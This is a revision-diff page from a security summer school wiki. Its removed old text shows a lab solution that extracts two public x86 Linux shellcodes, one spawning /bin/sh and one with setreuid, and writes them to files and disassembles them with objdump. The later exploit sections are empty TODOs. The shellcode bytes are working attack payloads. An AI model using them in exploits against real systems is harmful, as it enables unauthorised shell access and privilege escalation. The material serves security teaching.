Security Summer School

User Tools

Site Tools

session:solution:09
LDAP: couldn't connect to LDAP server

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision		Previous revision
session:solution:09 [2015/07/08 21:59] – [Hello, World!] Razvan Deaconescusession:solution:09 [2020/07/19 09:49] (current) – external edit 127.0.0.1
Line 1: Line 1:
-====== Session 09 Solutions ====== +====== 0x09. Defense Mechanisms (Solutions) ======
- +
-===== Create and disassemble binary shellcodes ===== +
- +
-We extract the two shellcode byte strings from the given links ([[http://shell-storm.org/shellcode/files/shellcode-216.php|1]], [[http://shell-storm.org/shellcode/files/shellcode-827.php|2]]):<code> +
-$ cat 216.print +
-\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff +
-$ cat 827.print  +
-\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 +
-</code> +
- +
-and then we use ''echo'' to generate two binary shellcode files:<code> +
-$ echo -en '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff' > 216.bin +
-$ echo -en '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' > 827.bin +
-</code> +
- +
-Afterwards, we disassemble the binary shellcode files:<code> +
-$ objdump -D -b binary -m i386 -M intel 827.bin  +
- +
-827.bin:     file format binary +
- +
- +
-Disassembly of section .data: +
- +
-00000000 <.data>: +
-   0: 31 c0                xor    eax,eax +
-   2: 50                    push   eax +
-   3: 68 2f 2f 73 68        push   0x68732f2f +
-   8: 68 2f 62 69 6e        push   0x6e69622f +
-   d: 89 e3                mov    ebx,esp +
-   f: 50                    push   eax +
-  10: 53                    push   ebx +
-  11: 89 e1                mov    ecx,esp +
-  13: b0 0b                mov    al,0xb +
-  15: cd 80                int    0x80 +
- +
- +
-$ objdump -D -b binary -m i386 -M intel 216.bin  +
- +
-216.bin:     file format binary +
- +
- +
-Disassembly of section .data: +
- +
-00000000 <.data>: +
-   0: 6a 46                push   0x46 +
-   2: 58                    pop    eax +
-   3: 31 db                xor    ebx,ebx +
-   5: 31 c9                xor    ecx,ecx +
-   7: cd 80                int    0x80 +
-   9: eb 21                jmp    0x2c +
-   b: 5f                    pop    edi +
-   c: 6a 0b                push   0xb +
-   e: 58                    pop    eax +
-   f: 99                    cdq     +
-  10: 52                    push   edx +
-  11: 66 68 2d 63          pushw  0x632d +
-  15: 89 e6                mov    esi,esp +
-  17: 52                    push   edx +
-  18: 68 2f 2f 73 68        push   0x68732f2f +
-  1d: 68 2f 62 69 6e        push   0x6e69622f +
-  22: 89 e3                mov    ebx,esp +
-  24: 52                    push   edx +
-  25: 57                    push   edi +
-  26: 56                    push   esi +
-  27: 53                    push   ebx +
-  28: 89 e1                mov    ecx,esp +
-  2a: cd 80                int    0x80 +
-  2c: e8 da ff ff ff        call   0xb +
-</code> +
-and we compare the resulting assembly source code to the one in the initial links. We find they are identical conforming we did a proper generation and disassembling of the binary shellcode files. +
- +
-===== Call Trampoline =====+
  
 TODO TODO
- 
-===== Exploit with Known Buffer Address ===== 
- 
-TODO 
- 
-===== Brute-Forcing the Buffer Address ===== 
- 
-TODO 
- 
-===== NOP Sled ===== 
- 
-TODO 
- 
-===== Environment variables ===== 
- 
-TODO 
- 
session/solution/09.1436392771.txt.gz · Last modified: by Razvan Deaconescu